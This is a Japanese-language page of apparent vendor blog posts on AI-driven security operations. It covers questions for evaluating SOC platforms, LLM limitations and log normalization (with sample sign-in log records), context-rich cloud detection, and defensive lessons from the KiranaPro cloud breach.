• プラットフォームは、SOC 2、ISO 27001、GDPR、HIPAAなどの必要なコンプライアンス基準を満たしていますか？また、コンプライアンスを検証するための文書や証明書を提供できますか？
• プラットフォームとデータを共有する場合、そのデータは基礎となるモデルのトレーニングに使用されますか？また、意図しない公開や誤用を防ぐためにどのような保護手段が講じられていますか？
• プラットフォームが一貫して確定的で正確な結果を提供するために、どのようなメカニズムと保護手段が講じられていますか？
• プラットフォームは、MTTI、MTTR、MTTCなどの主要な運用指標を、SOCのパフォーマンスを追跡するための明確で実用的な方法でどの程度効果的に提示していますか？
• オンボーディングから、プラットフォームが信頼性が高く実用的なアラートを生成し始めるまで、必要な学習期間やチューニング期間を含めて、通常どのくらいの時間がかかりますか？

オンボーディングとセットアップ

• プラットフォームはデータソースへのAPIベースの統合を提供していますか？
• プラットフォームは、パフォーマンスを低下させることなく、環境の規模、特にIaaSとSaaSのログに必要な量と速度でデータを取り込んで処理できますか？
• プラットフォームは、IDプロバイダー、IaaS、SaaS、エンドポイント、電子メール、SASE、脅威インテリジェンスフィードなどのSIEMだけでなく、主要なセキュリティシステムやITシステムとネイティブに統合して、統一された可視性とコンテキストを提供していますか？
• システムが環境内の既知の良好な動作のベースラインを確立するまでに、どれくらいの時間がかかりますか?
• どのような種類のサポートサービスが提供されていますか。また、タイムリーで効果的な支援を提供するために、経験豊富なスタッフと明確に定義されたSLAが含まれていますか？
• オンボーディング中、チームはどの程度関与し、協力的ですか？セットアップ、データソース統合、プラットフォームチューニングを積極的に指導していますか?

SOC に適した AI プラットフォームを見つける

AI主導のSOCプラットフォームを選択することは、セキュリティ運用を形作る戦略的な決定です。このガイドの質問に答えることで、流行語を切り抜き、現実世界の機能を検証し、MTTRの短縮、誤検知率の低下、実証可能なコスト削減など、測定可能な結果についてプラットフォームに説明責任を負わせることができます。回答を比較するときは、プラットフォームが述べている機能、サポートチームのプロセス、概念実証から得られたエビデンスとの間に一貫性があるかどうかを確認してください。

最終的には、適切なパートナーを選ぶことで、今日の技術要件を満たしながら、明日の脅威とアーキテクチャに対する明確なロードマップを示すことができます。強力なネイティブ検出と透明な AI 推論、シームレスなアナリストワークフロー、そして必要であれば協力的な MDR の専門知識を組み合わせたソリューションを優先してください。これらの要素がビジネス目標やリスクプロファイルに合致していれば、SOCは攻撃者に遅れずについていくだけでなく、一歩先を行く準備ができていると確信できます。

‍

寄稿者:企業ITリサーチアナリスト、アンドリュー・グリーン

LLMは、SOCにおける数十年前の課題を最終的に解決する可能性を秘めていますが、統計的にありそうなテキスト文字列を生成できるかどうかは、AI SOCを構成するもののほんの一部にすぎません。LLMは新しく、かっこよく、経営幹部からの AI の要請に応えているため、AI SOC で脚光を浴びています。

まず、LLM がどのような点で優れているかを覚えておきましょう。

1. 彼らの推論プロセスは、人間のような推論をテキストベースの形式で模倣し、人間のエージェントの行動の代わりに使用できます。
2. 読みにくい大量のデータを要約し、人間が理解できる洞察に変換します。

上記のいずれの機能も、データが LLM に適した方法でフォーマットされている必要があります。これについては、このブログで取り上げます。

SOCがLLMを使った自動化に適した分野なのはなぜでしょうか？

当然のことながら、これらの機能は、SOCで使用されている現在のテクノロジースタックの課題を正確に解決します。つまり、アナリストが複数のツールを使って複数のデータソースを分析し、インシデントを手作業で調査して対応することです。

アラート過負荷、ツールの統合、スタッフ不足など、SOCで最も多く挙げられている問題は、このようにして発生しました。SOARなどのツールは、決定論的自動化を活用して、アラートの過負荷や人員不足の問題に対処しようとしてきました。ただし、スクリプトとワークフローは、本来の用途にのみ役立ちます。ただし、LLM ベースの自動化は、ロジックを事前に定義しなくても調査や対応を行うのに適しています。

ツールの統合では、通常、セキュリティ運用プラットフォームの導入が中心になります。これらのプラットフォームは通常、UEBA、XDR、SOARを買収またはネイティブに開発したSIEMプロバイダーです。これらは非常に手間がかかり、コストも高く、ほとんどの組織では法外な作業であることが多いです。LLM は自然言語インターフェース機能を備えているため、さまざまなツールを重ねて使うことができます。

これらのLLM機能を活用するには、ChatGPTのような経験を積むだけでは不十分です。つまり、アナリストが送信したプロンプトからログを取得するLLMを1つだけ使用します。LLM はエージェントとして設計する必要があります。LLMとエージェントの違いは、メモリ、RAG、推論と思考連鎖、出力解析などを含む、LLM に関連するサービスに関係しています。次に、エージェントはマルチエージェントに設計されます。マルチエージェントは、調整を担当する1つのマスターエージェントまたはオーケストレーターと、エンドポイントレスポンスエージェント、クラウドログ解釈エージェント、他のエージェントからの出力の有効性を評価する評価エージェントなどの複数の専用エージェントで構成されます。このアーキテクチャにより、LLM エージェントは SOC ワークフローの複雑さ、規模、および反復的な性質に対処するのに適しています。

SOC で LLM を使用する場合の制限事項

有望なLLMは、SOCの最も差し迫った課題のいくつかを解決するためのものですが、次のような制限がないわけではありません。

• コンテキストの劣化と忘却- LLM のコンテキストウィンドウには限りがあります。会話が長くなったり、大規模なデータセットを処理したりすると、古い情報がモデルのアクティブメモリから押し出されてしまいます。SOC の調査には、数週間または数か月分のログの分析が含まれる場合があります。このような場合、LLMは、正確な結果を得るために使用する必要のある以前の調査結果やコンテキストを「忘れる」可能性があります。
• マルチエージェントハンドオフによる解像度の低下- マルチエージェントアーキテクチャでは、エージェント間のハンドオフは障害点となります。データがエージェントチェーン内を移動するにつれて、重要なコンテキスト、ニュアンス、または中間調査結果が除外されたり、要約されたりすることがあります。
• モデルドリフト- 出力が長いほど、ドリフトが発生しやすくなります。LLM では回答や分析が長くなるにつれて、元のクエリから徐々に逸脱したり、特定のセキュリティコンテキストに集中できなくなったりする傾向があります。これは特に、冗長な回答を提供するおしゃべりな LLM で問題になります。
• 時系列分析- LLMはテキスト内のパターン認識に優れていますが、数値や計算を処理するようには設計されていません。SOCの作業は、統計的な外れ値の検出や、時間の経過に伴うユーザー行動の微妙な変化の特定に大きく依存しています。これらのタスクは特殊な統計モデルや機械学習アルゴリズムに適しており、その結果を AI エージェントに送ることができます。
• 幻覚- LLMは、プロンプトとコンテキストに基づいて最も可能性の高いテキスト文字列のみを生成します。予測には真偽値がないため、実際には正しくない可能性が高い文字列が生成されることがあります。次の応答では、1 つの幻覚が引き継がれる可能性があります。

上記は全体として LLM の限界だと思われるかもしれませんが、SOC のユースケースでは特に重要です。機密性が高く、障害に対する許容度が低いだけでなく、セキュリティスタック自体もそのためです。たとえば、Entra ID、Google ワークスペース、Okta などの IAM ログソースを考えてみましょう。

Entra ID

{
  "time": "2025-01-15T14:30:25.123Z",
  "operationName": "Sign-in activity",
  "category": "SignInLogs",
  "resultType": "Success",
  "userPrincipalName": "john.doe@company.com",
  "ipAddress": "203.0.113.100",
  "location": "New York, US"
}

Google Workspace

{
  "id": {"time": "2025-01-15T14:45:30.456Z", "uniqueQualifier": "abc123"},
  "actor": {"email": "jane.smith@company.com"},
  "events": [{"name": "login", "type": "login"}],
  "ipAddress": "198.51.100.25"
}

Okta

{
  "uuid": "def456-ghi789-jkl012",
  "published": "2025-01-15T15:00:45.789Z",
  "eventType": "user.session.start",
  "actor": {"alternateId": "bob.wilson@company.com"},
  "client": {"ipAddress": "192.0.2.50"},
  "outcome": {"result": "SUCCESS"}
}

各ログの構文を見ると、同じイベントタイプでもさまざまなログソースでフィールドとフィールド名が異なることが簡単にわかります。この情報を解釈するには、AI はもちろんのこと、人間が各ソースにわたるこれらのイベントの微妙な違いを理解する必要があります。理解しなければ、情報が正しく解釈されず、誤った分析につながる可能性があります。情報の標準化と標準化を行わないと、脅威を理解して調査のための洞察を提供するための一貫した価値を引き出すことが難しくなります。

LLM 実施前のデータ処理と分析

データインジェストからマルチエージェントアーキテクチャ、LLM後の検証と評価に至るまで、スマートなエンドツーエンドのパイプラインを通じて、LLMが正確なアウトプットを生み出す可能性を最大限に高めることができます。

上記の制限を回避するには、特に幻覚に関する制限を回避するには、LLM導入前のデータ処理層がおそらく最も重要な層です。このLLM以前のレイヤーは、生データを LLM に適した形式に変換する役割を担うセマンティックレイヤーと呼ばれることがよくあります。LLM に適した形式とは、すべてのソースにわたって一貫性のある明示的なスキーマを指します。

これは通常、データの正規化、重複排除、サニタイズ、および変換によって行われます。これにより、例として、Entra ID、Google Workspace、Oktaのログが同じように読み取られます。別の方法としては、データソースごとに明示的なスキーマ定義を定義して、LLM にソースのフォーマット方法とその解釈方法を伝える方法があります。

前述の時系列分析と同様に、行動分析はLLMの主役ではありませんが、LLM以前のセマンティックレイヤーには最適な候補です。UEBA などのソリューションでは、統計分析などの確立された手法がよく採用されますが、出力は別のアラートか、単純な確定的自動化スクリプトのどちらかになります。AI SOC では、これらをエージェントに転送して、さらなる調査、解釈、検証を行うことができます。

人工知能 (AI) SOC は LLM の枠を超えて拡張されなければならない

LLMに内在する制限と、AI SOCの唯一のコンポーネントにはなり得ない理由を見てきました。確かに、人間のアナリストのレベルで高度な調査を短時間で実施できますが、正確に行うことができるのは、適切なタイプのデータを適切な形式で提供し、そのアウトプットを評価して検証した場合に限られます。

そのため、データは機械で読み取れるだけでなく、人間が解釈できるようにする必要があります。結局のところ、LLM は人間が次に何を言うかを予測するように最適化されているのであって、ビットから真実を確立するようには最適化されていません。ログの正規化、重複排除、エンリッチ化、一貫したセマンティック構造への形作りを担うレイヤーはオプションではありません。これが基本です。

断片化されたマルチソースのセキュリティデータを論理的で読みやすい形式に変換するこのセマンティックレイヤーは、LLMが効果的に運用し、SOCで真に価値を提供するために必要な基盤を提供します。

検出を正しく行うには何が必要で、なぜこれほど長い間間違っていたのでしょうか。

検出は元々、ログデータのリアルタイムルールを使用して構築されていました。2010 年代半ば、ユーザーおよびエンティティ行動分析 (UEBA) 製品では、主にユーザー、場合によってはリソースに焦点を当てた、外れ値を特定するための高度なベースラインとグルーピング手法が導入されました。多くの成熟したSOCチームにとって、これらのルールと異常の要素は、依然として検出アーキテクチャの柱となっています。

ただし、この方法には次の 3 つの重大なギャップがあります。

1. 結果を構成（構成）データと関連付けることはできません
2. 独自のクラウドセマンティクスを考慮していない
3. コンテキスト評価は手動の検出後フェーズに任せるため、インシデント全体ではなく個別の検出にノイズが多くなります。

構成情報の組み込み

どちらの従来のアプローチにも欠けている要素の1つは、イベントデータと履歴データを構成データと相関させる機能です。このパズルのピースは、誤検知が過剰に発生しないようにし、アラートの影響を適切に評価するために不可欠です。現在、ほとんどのチームは、検出後にトリアージと分析の段階でのみこのデータを組み込んでいます。多くの場合、この情報は手動で取得する必要があり、解析が困難です。設定分析を検出ロジック自体に移すことで、検出の精度が高まり、チームが最も効率的に業務を行えるようになります。この構成データには以下が含まれます。

• 爆風半径評価: このユーザーは侵害されている可能性がありますが、どのようなリソースにアクセスできるのでしょうか。これは簡単ではありません。AWS などの一部の環境では、これを評価するには、どのロールが他にどのようなロールを引き受けることができるか、各ロールがどのリソースにアクセスできるかについて、一連のアイデンティティ分析が必要です。このような詳細な分析を行わないと、ID が実際にどのようなアクセス権を持っているかが誤検出されてしまう可能性があります。
• 適切な重大度評価: この EC2 インスタンスは異常動作しています。 そして 添付されたインスタンスプロファイルには管理者権限があり、これは非常に危険です。
• 偽陽性認識: 効果的な権限分析を行うと、このユーザーに突然非常に寛容なロールが付与されたことがわかりますが、機密アセットには付与されたロールよりも優先されるリソースポリシーがあるため、実際には問題なく、アラートを生成するべきではありません。

設定データを検出自体に組み込む試みがなされています。多くの製品が、ユーザーまたはエンティティフレームワーク、タグ、HR統合などの機能を提供して、このデータのさまざまな側面を検出できるようにしています。しかし、このような統合と更新を維持し、モデル内の幅広い構成データを網羅するには、非常に時間がかかり、困難であるため、多くのチームが構成分析を検出後の段階に移行することに頼ってきました。

クラウドとSaaS向けに構築

UEBA は、内部脅威のユースケースに端を発しています。これは主に ID を特定し、その典型的なアクティビティ/パターンをモデル化するために構築されました。このアプローチが実を結ぶにつれ、多くの企業が一部のリソース (多くの場合、個々の仮想マシン (VM) またはインスタンス) をモデル化するようになりました。しかし、多くの人が着手している IaaS 環境や SaaS 環境への移行に伴い、UEBA の概念を大きく変える必要があります。クラウドリソースはしばしば、一時的なものであるため、スケーリング要件が異なり、ベースラインと異常検出への新しいアプローチが必要になります。Kubernetes のワークロードやポッド、GitHub のリポジトリやアクションから Google ドキュメントまで、さまざまな IaaS と SaaS リソースにはすべて、まったく異なるモデリングが必要です。従来のアイデンティティでさえ、それほど単純ではありません。たとえば、AWS での役割は、人間と機械が混在して引き受けられる場合があり、モデリングがはるかに複雑になります。AWS のケースでは、アラートが発信元の ID ではなく、使用されたロールのみに起因する場合もあります。その結果、従来の UEBA のツールや機能では、クラウドやマルチクラウド環境で活動する現代の組織のニーズには及ばないことがよくあります。

検出はインシデントではない

検出ツールの役割は、疑わしいアクティビティのヒントを提供するだけでなく、アラートが環境の全体像に当てはまるようにすることです。例としては、重複するアラートを自動でグループ化したり、組織再編、合併、新しいツールの導入などのイベント時にビジネスコンテキストを組み込んだりすることが挙げられます。このようなコンテキストに対応する検出ツールの機能は、アナリストの利便性を高め、 調査の完全性これにより、ノイズの多い個々の検出が大幅に削減され、十分に文書化されたインシデントに変換されるためです。非常に高度なツールは、多くの場合、セキュリティ情報およびイベント管理 (SIEM)、セキュリティオーケストレーション、自動化、対応 (SOAR)、またはその他のシステムに負担をかけ、これらの手順の一部を実行するための第2レベルの関連づけ、集約、分析を行うため、システムのメンテナンスが煩雑で手作業になります。

Exaforceの効果的な検出とは、現代のクラウドとSaaSを中心とする企業向けに構築された、ルール、異常、構成データのバランスのとれた3つの要素です。ここでは、私たちのアプローチが伝統からどのように逸脱しているか、そしてなぜそれが重要なのかをご紹介します。

次のいくつかのセクションでは、Exaforceがデータ取り込みとモデリングへのAIを活用した新しいアプローチにより、現在のソリューションにおけるこれらの制限をどのように克服するかを探ります。Exaforceは、ログ、構成、IDデータを統合されたセマンティックレイヤーに融合し、その上に行動ベースラインと知識主導の推論を重ねることで、散在するシグナルを正確で忠実度の高いアラートに変換し、孤立した異常ではなく攻撃チェーン全体を明らかにします。

セマンティックデータモデル

品質データの確保

検出への私たちのアプローチは、Exaforceの3つのモデルアーキテクチャ、セマンティックデータ、行動モデル、知識モデルから始まります。それぞれが異なるコンテクストレイヤーを追加します。

さまざまなソースからイベントと構成データを取り込み、構造化されたイベントとリソースに変換します。イベントはセッションごとに整理され、場所、自律システム番号 (ASN)、期間などの状況や状況に応じたシグナルがセッションレベルで追加されます。また、セッションを連鎖させて、発信元のアイデンティティ、役割の引き受け方、役割間の行動、アクションシーケンスを把握することで、誰が何をしたのかをより詳細に分析できます。これにより、今後の検出評価に向けたデータの準備が整います。

リソースも同様の扱いを受けます。コンフィグをキャプチャし、リソースタイプを解析し、リソースを充実させ、リレーションシップグラフを作成します。また、Exaforce は設定の変更を時系列で収集するので、そうでなければ気付かれないような微妙ではあるが重要な変更を検出できます。また、各構成変更の影響を評価できるため、爆風半径の全面的な分析を効果的に実施できます。リソースの主要なサブセットであるアイデンティティには、たとえば次のような機能が追加されています。

• 人間と機械の分類: Exaforceのモデルは、アイデンティティタイプ、行動パターン、および役割引き受けパターンを分析して、アイデンティティを人間または機械として分類します。この分類は動的であるため、複雑なシナリオ (たとえば、人間が新しい ID を作成した後に、マシン ID によって実行されるスクリプトで使用される場合や、人間 ID とマシン ID の両方が共有する役割など) を考慮に入れることができます。アイデンティティーの人間と機械の分類が変わると、そのエンリッチメントやモデル化の方法も変わります。
• 効果的な権限分析: 推移的なロール引き受け機能に基づいてユーザーが持っている権限の全範囲を解釈し、リソースポリシー情報と重ね合わせます。
  
  • アイデンティティーチェーン: どのロールが使用されたかだけでなく、どのアイデンティティが実際にこのアクションを実行したか
  • 到達可能なリソース分析: この ID がアクセスできるリソース、アクション、アクセスレベル
• サードパーティ ID /アクセス: 第三者の身元を特定し、その行動と権限をより注意深く監視してください。

私たちのコンテキストにおけるリソースは一般的な構成です。AWS EC2 インスタンス、Kubernetes ジョブ、GitHub リポジトリから Okta ロールまで、どのようなものでもかまいません。このように構成を最初からモデル化することで、より完全な検出が可能になり、最初の柱である構成の基礎が築かれます。

行動モデル

Exaforceでは、異常な場所やまれなサービスの使用状況など、異常である可能性のあるすべてのディメンションをシグナルと呼びます。シグナルは弱い場合も強い場合もありますが、どちらも重要です。検出は、同じイベントまたはセッションで発生するシグナル (中程度の再現度の異常の集まりを表す) をグループ化することによって生成されます。これらのシグナルと検出は、ソリューションのルールとアノマリーの柱となります。

セマンティックモデルは、行動モデルでモデル化されるようにデータを設定します。たとえば、イベントをセッション化することで、個々のアクションのベースライン化にとどまらず、イベントとイベントパターンの組み合わせのベースライン化を進めることができます。同様に、ベースラインは対象となるオブジェクトに合わせてカスタマイズされます。たとえば、人間と機械 (前述のセマンティックデータモデルで識別される) は異なる方法でモデル化されます。機械は予測可能なパターンに従う傾向がありますが、人間ははるかに折衷的です。エンジニアと自動化スクリプトの両方が使用する役割など、共通のアイデンティティは、この微妙な違いを念頭に置いてモデル化されています。

当社では、次のようなさまざまな信号を単独で、または組み合わせてモデル化します。

• アクション (およびアクションパターン)
• サービス
• 時間
• 所要時間
• ロケーションと ASN (ソース間の比較を含む)
• 資源

これは、複数の信号を使用したExaforceの結果の例です。この例では、操作異常とサービス使用異常の両方が見られました。このユーザー Mallam は通常、この GetSecretValue アクションを実行しません。また、AWS 米国東部 2 リージョンでは通常アクションを実行しません。このことがきっかけで、Exaforce は検出を実行しました。

この多次元のアプローチは非常に重要です。単一の弱い信号で十分なことはめったにありませんが、複数の弱い信号が一緒になって十分な場合がよくあります。サポートされている幅広いリソースとログソースにわたるこのルールと異常の検出アプローチは、検出トリオの 2 つの柱となっています。

ナレッジモデル

検出の目標は、潜在的な侵害の兆候を見逃さないように完全にすることです。しかし、完全性があると、ノイズが発生する可能性があります。そこで、当社のナレッジモデルの出番です。

セマンティックデータモデルが実行されてシグナルが送信され、検出にグループ化されると、Exaforceはトリアージパイプラインを実行します。このパイプラインでは、検出をコンテキスト化し、組織固有のビジネスコンテキストを追加して、中程度の忠実度の検出結果を高忠実度の検出結果に変換します。このトリアージ・プロセスは、Exaforceとサード・パーティのアラートに対して同様に実行され、コンテキストをさらに拡張して、アナリストの注意に値するアラートのみが表示されるようにするのに役立ちます。この分析には、矛盾する要因を状況に応じて比較検討することが含まれ、検出段階の最後に行われます。たとえば、ユーザーに幅広い権限があるという事実と、実行されたアクションの重大度を比較検討することが含まれる場合があります。

このナレッジ・モデルでは、リソース/アイデンティティ構成データと、ルールおよび異常出力の比較が行われます。さらに、類似の調査結果に関する追加のコンテキスト、ユーザーから提供されたビジネスコンテキスト、ユーザー/マネージャーの検証応答などによって補足されます。

• 同様の調査結果が確認されています。クローズドの場合、その解像度がモデルへの入力として使用され、この知見が評価されます。まだ解決していない場合や処理中の場合は、モデルがグループ化します。いったんグループ化されると、関連する分析の関係とレベルが特定されるように、調査結果は重複、グループ化、または連鎖のいずれかに分類されます。
• ビジネスコンテキストルールにより、ユーザーは自由形式のデータをモデルに入力できます。これには、環境に関するコンテキストが含まれる場合があります。たとえば、これらのリソースは非常に重要であるか、このVPNを使用する場合はユーザーに関する情報が含まれる場合があります。ユーザーA、B、Cはすべて経営陣チームの一員であり、注意深く監視する必要があります。または会社に関する一般的な状況（たとえば、私たちは次の場所にオフィスを構える医療会社で、多くの場合、これらのサイト間を行き来するチームがあります）。この自由形式の入力により、初心者ユーザーは個々のアラートを手動で消音または抑制しなくても、重要なコンテキストについてExabotsに影響を与えたり、通知したりできます。
• Exabotsには、エンドユーザーからの検証を求めることができるスキルもあります。Exabot がユーザー検証やマネージャー検証が役に立つと判断した場合、その個人に Slack/Teams メッセージを送り、その回答を判断に影響力として利用することができます。

エクサボットはこの一連の情報を収集してナレッジモデルエージェントに渡し、これらの各要素を評価し、「誤検知」または「調査が必要」の判断を下します。これにより、基本的な検出がコンテキスト豊富なインシデントに変換されます。これらの分析はすべて、アラートが開いている間や進行中も継続的に実行されるため、環境が変化しても、推奨評価は最新の状態に保たれます。このデータを準備、構造化、要約することで、分析を実行する AI エージェントが最も正確になり、幻覚を最小限に抑えることができることに注意してください。

検出結果をユーザーに提示する前に初期知識モデルを実行すると、Exaforce による検出の忠実度が非常に高くなります。

例

ここにいるユーザーは、チューリッヒとマトランの2か所で次々と目撃されました。このセッションの途中での素早い位置切り替えは異常でしたが、位置自体は実際にはユーザーの以前の行動と一致しており、他の会社の従業員とも一致していました。実行されたアクションも、このユーザーの過去の行動と一致していました。そのため、トリアージエージェントは、異常なアクションを他の要因と照らし合わせて重み付けし、これを誤検知と判断することができました。トリアージ・エージェントは、企業固有のビジネスコンテキスト (この例では、チューリッヒのオフィスを指します) も備えていることにお気づきでしょう。（ビジネスコンテキストとトリアージについては、次回のブログで詳しく説明します！）

トリアージの後、Exaforceとサードパーティの両方の調査結果を集約された攻撃チェーンにグループ化します。これにより、アナリストは切り離されたイベントだけでなく、全体像を把握できます。

エクサフォース・イン・アクション:GitHub のサンプル

Exaforceのアプローチを実際に見てみましょう。

GitHub は重要なデータソースです。これには、企業の知的財産などの機密データが含まれており、次のような秘密が添付されている場合もあります。 CI/CD アクションの実行に対する許容度が高い。しかし、見過ごされがちです。

Exaforceはログと設定データを取り込んでアクティビティ情報を収集し、サプライチェーン攻撃に関連するリスクと脅威を特定します。たとえば、次のような用途があります。 パーソナルアクセストークン (PAT) は、CI/CD や開発者のワークフローで一般的に使用される認証情報です。GitHub ログには、初期設定でハッシュ化された PAT と基本的なアトリビューションが表示されます。エクサフォースはさらに進化しています。この例では、セマンティックデータモデルが

• ログと設定データを取り込み、セッション化してリポジトリ、ワークロード、アクション、トークンなどのリソースを理解します。
• 設定データから取得したトークンのスコープ情報でトークン・リソースを充実させ、アクセスと権限を把握します。これには、設定情報から得られるトークンのスコープ情報と、ログにハッシュされたトークンを含むランタイムデータを関連付けることが含まれます。
• cron ジョブ、アドホックスクリプト、およびユーザー主導型アクションに使用されるトークンを過去の使用状況に基づいて分類します

行動モデルは、単にアクションをユーザーに帰属させるだけでなく、トークン自体に合わせたベースラインを構築し、異常が見つかった場合はシグナルを生成します。PAT ベースのベースラインにより、さまざまな独自の検出と保護が可能になります。自動化とアドホック使用を組み合わせて、ユーザーが複数の PAT を同時に使用することがあります。PAT ごとにベースラインを区別することで、両方が同時に使用されている場合に誤検出が発生するのを防ぐことができます。

ここでは、6 種類の異常 (シグナル) を特定しました。最も重要なのは、新しい ASN から新しいリポジトリにアクセスしていることです。

ナレッジ・モデルは、これらの異常をPATの範囲と比較し、アラートの重大度を判断しました。

従来の検出ピラーは、物体の検出には強力でしたが、コンテキストが不足していたため、全体像を描くのに十分な詳細情報がないと、ノイズの多いアラートが生成されました。 エクサフォース 強固な基礎、つまり IaaS と SaaS の未加工データを豊富なコンテキストエンティティに構造化するセマンティックデータモデルから始めることで、忠実度の高い調査結果が得られます。

アクション、ID、セッションなどのさまざまなシグナルを監視して、実際のアラートにつながるわずかな逸脱も検出します。当社の特注モデリングにより、GitHub や Google Workspace などの見過ごされがちなシステムを含め、IaaS 環境と SaaS 環境の両方を幅広くカバーできます。

シグナルはまとまりのある次元横断的な知見にまとめられ、当社のトリアージ・エージェントは相反する異常を比較検討して、本当に重要なものだけを明らかにします。

その結果は？ 包括的なカバレッジ、よりスマートなトリアージ、および誤検出の大幅な減少。

KiranaProの侵害:クラウド脅威監視への警鐘を鳴らす

インドの食料品配達スタートアップ企業であるKiranaProでの侵害は、クラウドプロバイダーの管理だけで十分だという誤解が広がっていることを浮き彫りにしています。攻撃者は元従業員のアカウントからアクセスを得た後、KiranaPro の AWS と GitHub のインフラストラクチャ全体を削除し、コード、データ、運用を一掃しました。この事件は、組織が SaaS と IaaS 環境を監視する方法における危険なギャップを浮き彫りにしました。

キラナ・プロ事件の詳細

2025年5月26日、KiranaProのクラウドインフラストラクチャ全体が、元従業員の認証情報を悪用したハッカーによって一掃されました。スタートアップ企業が多要素認証を含む標準的なセキュリティ対策を採用していたにもかかわらず、攻撃者はこれらの保護手段をなんとか回避しました。被害には、機密性の高い顧客データ、運用コード、重要なクラウドリソースの削除などが含まれます。根本的な問題は AWS や GitHub の弱点ではなく、むしろ KiranaPro 自身のセキュリティ慣行の欠如、具体的にはユーザーアクセス管理が不十分だったことと、異常なアクティビティに対する積極的な監視の欠如でした。

クラウドプロバイダーはアカウントを監視していません

多くの組織は、クラウドプロバイダーが包括的なセキュリティを扱っていると誤解しています。実際には、クラウドプロバイダーは「責任分担モデル」を採用しています。つまり、プロバイダーは基盤となるインフラストラクチャを保護し、顧客はデータ、アカウント、アクセスポリシーを保護します。KiranaPro の違反は、組織がこの責任分担について自分たちの側を誤解したり無視したりした場合に直面するリスクを鮮明に示しています。

SaaSおよびIaaSプロバイダーの組み込みセキュリティツールは堅牢ですが、通常は静的防御と構成チェックに重点を置いています。滅多にありません。 脅威をリアルタイムで検知 認証情報の悪用や不正なアカウントアクティビティなど、KiranaPro の侵害の中心となる問題です。

脅威は内部者だけではない

内部関係者の脅威（元従業員や不満を抱いている従業員など）は重大なリスクをもたらしますが、複数の攻撃ベクトルにわたって積極的な脅威監視が不可欠です。外部の攻撃者は、盗んだ認証情報、フィッシング攻撃、設定ミス、脆弱な API セキュリティを頻繁に悪用します。組織は、脅威は複数の方向から同時にやってくるということを認識しなければなりません。

プロアクティブな脅威モニタリングでは、クラウドアクティビティをリアルタイムで継続的に分析して、予期しない場所からのログイン、突然の権限変更、異常なデータ削除などの異常を発見し、脅威を封じ込めるための即時の自動アクションを実行する必要があります。一部の組織では、SIEM ルールを使用してこれらのパターンを検出しています。また、SaaS 環境と IaaS 環境全体ですぐに監視できるプラットフォームを採用している企業もあります。

キラナ・プロからの実践的教訓

KiranaProの侵害は、クラウドセキュリティにおける継続的な警戒の重要性を浮き彫りにしています。組織は受動的な姿勢をとるわけにはいきません。

• 厳格なアクセス制御: 重要なシステムへのアクセスは、最小権限の原則に従い、絶対に必要なユーザーのみに制限する必要があります。権限が多すぎるアカウントは、侵害や悪用の影響を大きくします。特権アクションは厳密に範囲を限定し、管理アクセスは必要な場合にのみ許可し、使用しない場合は取り消すべきです。
• 永続的な IAM 認証情報は避けてください。 長期間有効な認証情報 (特に特権 IAM ユーザーまたは root アカウント用)永続的なリスクを生み出す。代わりに、ID フェデレーション (SSO を使用する IAM ロールなど) またはジャストインタイムアクセスを介して発行された、有効期間が短く、自動的にローテーションされる認証情報を使用してください。このアプローチにより、リスクが軽減され、監査性が向上し、大規模なアクセス管理が容易になります。
• 体系的なオフボーディング: 元従業員に関連する IAM ユーザーアカウントまたは長期認証情報は、直ちに取り消す必要があります。ただし、これらの認証情報を削除するだけでは、本番システムが機能しなくなる可能性があるため、その使用方法を事前に理解しておくことが重要です。そのため、安全なオフボーディングには、認証情報の実際の使用状況を把握し、依存関係をマッピングすることが不可欠です。
• CI システムによる変更管理: 本番環境へのすべての変更は、必須の承認を得た管理されたCI/CDパイプラインを通じて実施する必要があります。この規律によって監視の貴重な層が増え、一括削除のような破壊的な行為を検知または防止できたはずです。理想的ではありますが、成熟したクラウドチームが目指すべき実証済みの保護手段です。
• ディザスタリカバリとバックアップ: どのシステムも侵害の影響を受けません。Infrastructure-as-Codeテンプレートとテスト済みで復元可能なバックアップを含むディザスタリカバリ計画を策定することが、ダウンタイムと完全なシャットダウンの分かれ目になります。KiranaPro がインフラストラクチャを迅速に復旧できないことは、レジリエンス計画に大きなギャップがあることを示唆しています。
• プロアクティブモニタリング: アクティブな脅威監視ソリューションに投資することで、システムアクティビティをリアルタイムで可視化できるようになり、潜在的なセキュリティ脅威を迅速に検出して軽減する機能が大幅に向上します。

現場でのその他のベスト・プラクティス

前回のブログでは、 「クラウドセキュリティギャップの解消:脅威監視の実際のユースケース,」 一般的なクラウドセキュリティのアンチパターンを調査し、新たな脅威を継続的に監視、検出、効果的に対応するための実用的なガイダンスを提供しました。

注目すべきユースケースの1つは、デバイス製造会社が、複数の場所からアクセスされる長期認証情報を持つ1人のIAMユーザーに依存していることです。このような設定は、オペレーティングシステムや環境が多様であるためにリスクを増幅させました。この種のリスクを軽減するために、ベストプラクティスブログには他にも次のような推奨事項があります。

• IP 許可リスト: 各ロケーションのIPアドレスの許可リストを定義して適用します。
• リソースアクセス監視: IAM ユーザーがアクセスするリソースを継続的に監視し、ログに記録します。
• ユーザーエージェントとデバイスの検証: 定義済みのユーザーエージェントのみを識別して許可し、異常を報告します。

これらの対策は、KiranaProが経験したようなクラウド侵害の防止にも適用されます。

結論

KiranaProの侵害は、クラウドセキュリティには継続的かつ積極的な警戒が必要であることを思い出させるものです。組織は、プロバイダー固有のツールだけに頼るのではなく、継続的な脅威監視を基本的なセキュリティプラクティスとして採用する必要があります。自社のセキュリティ責任を明確に理解し、強固なアクセスガバナンスを導入し、クラウド活動を積極的に監視することで、企業は侵害に対する脆弱性を大幅に減らし、運用上の回復力を維持することができます。

クラウドスタック全体のリアルタイムの可視性を構築するための支援が必要ですか？Exaforceは、AWS IaaS、GCP IaaS、Github、Okta、AWS Bedrock、Google WorkspaceなどのIaaSおよびSaaS環境全体でAI主導の脅威モニタリングを提供します。これにより、ルールを作成したり管理したりしなくても、脅威の対象範囲をクラウドサービスに拡大できます。 お問い合わせ デモをリクエストしてください。

‍

この記事は元々掲載されました SC マガジン。

参加された方へ 今年の RSAC 2025、エージェントAIが会話の中で登場した可能性があります。ベンダーは何十ものエージェント AI 製品を推し進めてきましたが、その多くはセキュリティオペレーションセンター (SOC) のユースケースに合わせて調整されていました。マーケティング担当者は、自社をイノベーションの最前線に位置づけるために真っ向から取り組んでいます。

しかし、SOCにおけるエージェントAIの実用化と真の価値についての思慮深い対話は途絶えました。セールストークの多くが見逃していたものは次のとおりです。

エージェンシー SOC プラットフォームはフォースマルチプライヤーであり、それに代わるものではありません。

